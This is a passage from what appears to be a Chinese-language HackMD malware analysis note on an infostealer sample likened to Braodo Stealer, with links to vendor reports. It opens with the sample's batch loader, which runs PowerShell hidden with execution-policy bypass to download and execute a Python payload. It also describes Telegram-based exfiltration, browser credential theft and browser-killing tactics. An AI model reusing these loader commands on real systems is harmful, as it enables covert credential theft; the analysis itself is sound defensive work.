-windowstyle hidden -command "& { cd '%path%' ; if (-not (Test-Path '%path%\Python313')) { mkdir '%path%\Python313' } }" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "& { Expand-Archive -Path '%path%\Python313.zip' -DestinationPath '%path%\Python313' }" del "%path%\Python313.zip" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -windowstyle hidden -command "& { (New-Object Net.WebClient).DownloadFile('%url_code%', '%path_code%') }" C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -ep Bypass -windowstyle hidden -command "& { & '%path_py%' '%path_code%' }" endlocal exit ``` # Braodo Stealer 介紹 病毒名稱為 `Braodo Stealer` 特色是: 1. Payload now saved in base64 form 2. Function and variable name change [Cracking Braodo Stealer: Analyzing Python Malware and Its Obfuscated Loader | Splunk](https://www.splunk.com/en_us/blog/security/cracking-braodo-stealer-analyzing-python-malware-and-its-obfuscated-loader.html) > Braodo Stealer 是眾多活躍且不斷發展的惡意軟體家族之一,旨在從受感染的電腦竊取敏感訊息,例如憑證、cookie 和系統資料。這種惡意軟體通常用 Python 編寫,採用各種混淆技術來隱藏其真實意圖,這使得安全解決方案難以識別。 > > 該惡意軟體利用 GitHub 和 GitLab 等流行的開發者平台來分發其 Payload,通常利用這些儲存庫來託管偽裝成合法專案的惡意程式碼。此外,它還使用 Telegram 機器人作為命令和控制 (C2) 通道,使攻擊者能夠秘密通訊並有效地竊取被盜資料。 ### 此樣本的特色與 Braodo Stealer 的相同處有: 1. 使用 Telegram 機器人作為命令和控制 (C2) 通道 - Exfiltration Over C2 Channel by Telegram 3. 用 Python 編寫,採用各種混淆技術 4. 從受感染的電腦竊取敏感訊息,例如憑證、cookie 和系統資料 - System Information Discovery - Credentials from Web Browsers 5. 利用 GitHub 和 GitLab 等流行的開發者平台來分發其 Payload 6. 下載的檔案是一個 zip 存檔,其中包含多個 Python 程式庫以及名為「rz_317.pd」的第二階段有效負載。該Python腳本負責解密並載入實際的Braodo Stealer,從而完成感染鏈。 - **因入侵時間與執行時間間隔太久,無法觀察到下載檔案此行為痕跡** 7. 從瀏覽器和應用程式收集這些憑證,並在滲漏之前將它們儲存在臨時目錄中 8. 來自密碼儲存 Chrome 的 Windows 憑證複製到 TEMP 資料夾中 9. 停用或停止瀏覽器進程 - 使用 taskkill 命令來終止多個已知的瀏覽器進程,這是 Braodo 竊取程式惡意軟體通常用來竊取憑證的技術。透過強制關閉 Chrome、Edge 和 Firefox 等瀏覽器,惡意軟體可以解鎖儲存密碼和登入資料等敏感資訊的檔案。 11. 將收集的資料歸檔到 TEMP 資料夾中 ### 未在此樣本觀察到的特色: 1. 隨機命名的環境變數 2. Byte Order Mark (BOM) 3. Registry Run Keys 4. Screen Capture 5. Clipboard Data ## Braodo Info Stealer 相關介紹文章 [Braodo Info Stealer | Mimecast](https://www.mimecast.com/threat-intelligence-hub/braodo-info-stealer/) 此文章提到 Braodo Stealer 由越南的威脅行為者開發,透過 Telegram 機器人竊取網路瀏覽器資料。 該惡意軟體經過多次混淆,並使用批次腳本、PowerShell、可執行檔 (exe)、HTA 和 PDF 檔案進行傳播。多個 GitHub 儲存庫用於託管惡意程式碼,而多個 Telegram 機器人則用於資料外洩。它在後台秘密運行,收集和存檔數據,然後將其發送給 Telegram 機器人。 [Braodo Info Stealer Targeting Vietnam and Abroad - CYFIRMA](https://www.cyfirma.com/research/braodo-info-stealer-targeting-vietnam-and-abroad/) [Braodo Stealer:基於 Python 的網路威脅不斷上升 --- Braodo Stealer: The Rising Python-Based Cyber Menace](https://hivepro.com/threat-advisory/braodo-stealer-the-rising-python-based-cyber-menace/)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully